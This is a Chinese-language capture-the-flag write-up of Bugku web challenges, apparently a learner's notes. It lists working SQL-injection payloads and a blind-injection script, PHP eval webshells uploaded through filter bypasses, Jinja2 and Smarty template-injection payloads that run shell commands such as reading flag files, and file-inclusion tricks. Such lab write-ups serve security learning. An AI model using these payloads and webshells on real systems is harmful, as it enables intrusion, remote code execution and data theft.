web1
打开场景,按F12查看源代码
web2
打开是一个计算器,但是只能输入一个数字。打开源码修改长度
输入结果就得flag
web3
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
web4
法一:hackbar传参
法二:构造表单
<form action="/post/" method="post">
<input type="text" name="what">
<button type="submit" value="提交">提交</button>
</form>
输入flag提交即可
法三:bp构造post
法四:脚本
import requests
s = requests.Session()
r1 = s.get("http://114.67.246.176:18020/")
values = {'what': 'flag'}
r2 = s.post("http://114.67.246.176:18020/", values)
print(r2.text)
web5
变量$num
的值不为数字或数字字符串,但是$num
的值为1
web6
打开场景一直弹窗,查看源码发现下面有一段javascript代码
进行html解码得到flag
web7
你必须让他停下
bp抓包,发送三次可以发现flag
web8
文件包含
法一:?hello=file(“flag”)
法二:?hello=1);show_source(‘flag.php’
法三:?hello=system(‘tac flag.php’)
web9
flag In the variable !//flag在变量里
<?php
error_reporting(0);//代表关闭报错提示
include "flag1.php";//包含文件 flag1.php
highlight_file(__file__);//对文件进行语法高亮显示
if(isset($_GET['args'])){//条件判断 get方法传递的args参数是否存在存在为真
$args = $_GET['args'];//赋值给变量 $args
if(!preg_match("/^\w+$/",$args)){//正则表达式判断 正则表达式格式 为:开头 /^ 结尾 $/ \w 代表任意大小写字母和数字 不包括特殊符号 +为匹配前一个字符一次或无数次
//if条件判断 $args 是否符合正则表达式格式 不符合返回true (函数取反)
die("args error!");
}
eval("var_dump($$args);");// eval()函数 将字符串作为php代码执行结尾加分号 var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构
如果是数组,就以数组的方式输出 变量类型+变量
}
?>
思路:eval()函数存在命令执行漏洞 我们的目标是查看flag1.php中的flag 首先想到的是本地包含漏洞查看源码 或者上传一句话木马等思路 。而本题条件判断加了正则表达式判断,过滤了括号和引号等字符。无法构造! 但输出时是$$args
($$args
可以理解为$($args)
)。我们想到构造 php中超全局变量 $GLOBALS ,他的作用是引用全局作用域中可用的全部变量,因此只需将args的值设置为GLOBALS即可,URL中输入 /?args=GLOBALS ,找到flag。
web10
头等舱
web11
根据描述先用御剑扫描一下
尝试输入index.php,发现还是老样子
输入shell.php
爆破密码,输入得flag
web12
是一个管理员系统,查看源码发现:
base64解码得:test123,猜测应该是密码。
后面进行抓包,爆破账号,添加X-Forwarded-For:127.0.0.1
web13
查看源代码
p1+%35%34%61%61%32+p2进行unescape解码
将这个输入即可得flag
web14
看到file,index.php就想到试试php协议
file
web15
bp抓包爆破:
输入即得flag
web16
提示备份是个好习惯。php的备份有两种:.php和.php.bak
尝试输入,有:
得到
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
代码审计
1.首先要对key进行了绕过
因此构造双重变量:kkeyey1和kkeyey2
2.然后key1和key2的md5值相等,然后key1
web17
直接输入’,发现没有回显,判断为字符型注入。
1.先判断字段数:
1' order by 5#
无回显
1'order by 4#
回显
说明字段数为4
2.判断存在注入点:
-1' union select 1,2,3,4#
可知:2,3,4都有回显。
3.查数据库名:
-1' union select 1,2,3,database()#
得到skctf
4.查表名:
-1' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf'#
得到fl4g
5.直接获取表中数据:
-1' union select 1,2,3,(select * from fl4g)#
web18
直接上大佬的代码:
import requests
import re
url = 'http://114.67.246.176:12349/' #这里是自己的网址
s = requests.Session() //用session会话保持表达式是同一个
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression) //eval() 函数用来执行一个字符串表达式,并返回表达式的值。
post = {'value': result}
print(s.post(url, data = post).text)
web19
base64解码再解码并且进行请求还是没有用
只好再用大佬代码了:
import requests
import base64
url = "http://114.67.246.176:18216/"
r = requests.session()
headers = r.get(url).headers # 因为flag在消息头里
mid = base64.b64decode(headers['flag'])
mid = mid.decode() # 为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
flag = base64.b64decode(mid.split(':')[1]) # 获得flag:后的值
data = {'margin': flag}
print(r.post(url, data).text) # post方法传上去
web20
filename后面的base64编码,得到keys.txt
访问没什么发现
后面回到原始url,发现:
line 应该是行号,filename是对于文件内容的读取,所以构造一个逻辑矛盾,让filename去读index.php(此时index.php也要base编码一下即aW5kZXgucGhw)
import requests
a=30
for i in range(a):
url="http://114.67.246.176:10184/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
r=requests.get(url)
print (r.text)
得到源码:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
intval()
函数用于获取变量的整数值
header()
函数向客户端发送原始的 HTTP 报头。这里是跳转到一个新地址
所有:
filename要等于keys.php(a2V5cy5waHA=)
cookie为margin=margin
接下来就抓包来实现吧:
web21
查看源码,看到1p.html
进行访问,发现直接跳转到http://www.bugku.com/
我们尝试查看源码:
view-source:http://114.67.246.176:12831/1p.html
可以看到一串编码,这里就去进行url解码:
然后就行base解码:
又是url编码,再去解,得到php代码并进行审计:
";if(!$_GET['id']) //限制URL查询字符串中必须有非空非零变量id
{
header('Location: hello.php?id=1');
exit(); //判断是否GET了id参,没有就执行exit
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) //变量a中不能出现.字符 stripos函数查找出现位置
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
//要满足以下5条表达式
//变量 $data 弱等于字符串 bugku is a nice plateform!
//变量 $id 弱等于整型数 0
//变量 $b 的长度大于 5
//字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配 eregi函数:一个参数里寻找另一个参数,没有返回false
//变量 $b 的第一个字符弱不等于整型数 4
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
下面就开始饶过:
1.id不能为0否则跳入exit,但是id弱等于0,php中’‘0==php
’'这个是成立的,所以写字母就行。这里我们就设 id=text
2.源码中变量 $data
是由 file_get_contents() 函数读取变量 $a
的值而得,所以 $a
的值必须为数据流。这里用用伪协议php://input,令$a
= php://input,并在请求主体中提交字符串 bugku is a nice plateform!
3.eregi()截断漏洞:ereg()函数或eregi()函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
要与1114匹配,正则表达式由"111"连接b的第一个字符组成,令substr(b,0,1)=空字符的URL编码%00(读入时实际为一字节),所以$b=%0012345
当然也可以*12345
4.抓包发送:
flag{691b9e4779584bf3d08d1a0653ed9d21}
web22
打环境什么都没有,只能通过描述来了。
explode():分割字符串。
如题,poc_1的值就为“assert”
然后get请求。
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
print_r() 把数组的键和值均打印出来
__FILE__ :当前目录
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思
构造一下:
?s=print_r(scandir('./')) 或者?s=system(dir)
web23
正则表达式(Regular Expression)学习
构造:?id=keyabckeyabcdkey:/a/akeya.
web24
乱点一通,发现“链接”可以点击
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){//要求v1!=v2,但是v1和v2的md5值相等
if(!strcmp($v3, $flag)){//需要满足两个不同即可
echo $flag;
}
}
}
?>
构造请求:
?v1[]=1&&v2[]=2&&v3[]=3
web25
是一个登录界面,尝试登录,发现不行。
进行注册,尝试注册admin
想起之前做过一样的题,注册的时候在admin后面加一个空格,发现注册成功。然后在用admin去登录得到flag。
web26
直接使用bp伪造Referer。
web27
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a))
{ if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}} else{echo "please input a";}
?>
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
payload:
?a=s878926199a
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
web28
伪造X-Forwarded-For,代表客户端,是http请求端的真是ip。
所以bp抓包,添加XFF
web29
sha和md5都是哈希函数,md5数组返回NULL,尝试一下sha是不是也可以。
get请求:?id
web30
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
结合题目和代码file_get_contents(),尝试访问flag.txt
对于'$ac===$f'
,有:?ac=bugku&fn=flag.txt
web31
题目描述:好像需要管理员
打开场景是404notfound
用御剑扫描得robots.txt
访问得/resusl.php,然后访问/resusl.php
提示你不是管理员并且还要传参x
我们尝试?x=admin
得出flag
web32
提示要交图片
所以写入<?php @eval($_POST['x']); ?>一句话木马,以jpg形式上传。
按以往的方法做发现没用,看过大佬题解进行如下步骤:
抓包进行如下修改:
1.multipart/form-data --> Multipart/form-data
(multipart/form-data:只支持小写,通过表单对文件格式进行一次判断,是在后端进行判断。)
2.将63.jpg该为63.php4
然后再用蚁剑连接。
怎么也不会想到这样子做,只好去网上看源码:
<html>
<body>
<?php
$flag = "flag{test}"
?>
<form action="index.php" method="post" enctype="multipart/form-data">
My name is margin,give me a image file not a php<br>
<br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
<?php
function global_filter(){
$type = $_SERVER["CONTENT_TYPE"];
if (strpos($type,"multipart/form-data") !== False){
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);
if (stripos($file_ext,"php") !== False){
die("Invalid File<br />");
}
}
} //这里判断multipart/form-data用了strpos,该函数区分大小写,所以用Multipart/form-data的理由找到了,这样就能绕过里面的if,检测php就没用了
?>
<?php
global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
if ($_FILES["file"]["error"] == 0){
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);
$allowexts = array('jpg','gif','jpeg','bmp','php4'); //这里定了个白名单,只漏了个php4出来,只能用php4的原因也找到了
if(!in_array($file_ext,$allowexts)){
die("give me a image file not a php");
}
$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. <br />";
}
else{
if (!file_exists('./upload/')){
mkdir ("./upload/");
system("chmod 777 /var/www/html/upload");
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
echo "Upload Success<br>";
$filepath = "upload/" . $_FILES["file"]["name"];
echo "Stored in: " ."< a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
}
}
}
else{
if($_FILES["file"]["size"] > 0){
echo "You was catched! :) <br />";
}
}
?>
</body>
</html>
web33
打开附件
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
进行解密代码的编写:
<?php
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
$data = base64_decode($str);
for ($i=0; $i < strlen($data); $i++) {
echo ord($data[$i]).' ';
}
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
echo $char.' ';
for ($i=0; $i < $len; $i++) {
$num = (ord($data[$i]) - ord($char[$i])) % 128;
if($num < 0){
$flag .= chr($num+128);
}else{
$flag .= chr($num);
}
}//在最后一步,需要考虑ascii码相减后为负数的情况。
echo $flag
?>
web34
查看源码:
访问一下:
经过测试发现<?php类型的不能成功。
所以我们换一种:
<script language="php">@eval($_POST['x'])</script>
直接用蚁剑连接发现不行
后面发现应该是链接问题:
回到之前的界面是文件包含的格式/index.php?file=
所以我们连接的时候应该也是/?index.php?file=upload/202104230242253851.jpg
成功
web35
尝试一下发现和描述一样
查看源码
(unserialize($cookie) === "$KEY")
对于这个,两边序列化即可:
$cookie = serialize($KEY)
web36
看到描述,应该是盲注
使用脚本:
import requests
session = requests.Session()
url="http://114.67.246.176:12715/login.php"
flag=''
for i in range(1,250):
left=32
right=128
mid=(left+right)//2
while(left<right):
payload="admin'^((ascii(mid((select(group_concat(passwd)))from(%s)))>%s))^'1"%(i,mid)
data = {'uname': payload, 'passwd': 'admin'}
res = requests.post(url, data=data)
if 'password' in res.text:
left=mid+1
else:
right=mid
mid=(left+right)//2
if(mid==32 or mid==127):
break
flag=flag+chr(mid)
print(flag)
运行得到4dcc88f8f1bc05e7c2ad1a60288481a2
尝试提交发现不是,发现是md5,这就拿去解密
以这个为密码,账号为admin登录进去
使用cat</flag查询flag 或者{cat,/flag}
Simple_SSTI_1
您需要传入一个名为flag的参数。
查看源码得到:
?flag
Simple_SSTI_2
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
查看目录
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
一个个去看,结果第一个就出现flag:
去获得flag:
http://114.67.246.176:11825/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
Flask_FileUpload
是一个文件上传,查看源码:
只允许jpg和png文件,而且上传的文件会以python来执行,所以:
system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,子进程的执行结果无法影响主进程;
os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成。
上传这个文件:
查看源码得flag
web40
查看源码会得到一个假flag
根据描述,我们先扫一下目录(用 dirb 命令扫描到 .git 目录)
我们用常规做法:但是什么也没下到
只好在GitHack-master用下面命令
wget -r http://114.67.246.176:19619/.git
(wget是下载文件的工具)
下载了好多东西,然后我们进行打开:
git reflog 来得到日志
git show commit_id (查看某次commit的内容)
git show 13ce8d0 没什么发现
git show 40c6d51
发现flag
社工-伪造
打开是一个聊天室,输入一个QQ小号,进入聊天界面
询问flag:
进入她的空间看看:
只有男朋友问才行,后面在聊天界面找到QQ,但是登录不了。
结合题目只好伪造男友:
xxx二手交易市场
注册登录,试着上传一下照片
抓包发现:
发现是image=data:image/jpeg;base64,图片内容的base64编码
在这里仿照一下得image=data:image/php;base64,(一句话木马base64编码)<?php @eval($_POST['attack']);?>
(注意在base64有的网站是错误的,我就因为这个老是不成功,后面发现原来是编码错误)
接下来就用蚁剑来连接 原来路径去掉/user+上传路径即可
聪明的php
随便传入一个参数得到源码:
模板Smarty注入
法一:
passthru() 任意命令执行
?f={passthru( more ../?* )}
法二:
常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
smarty中的{if}标签中可以执行php语句
{if passthru('ls')}{/if}
{if passthru('ls -al /')}{/if}
cat被过滤了,可以同tac命令查看文件
审计代码,回到之前目录,看到_6252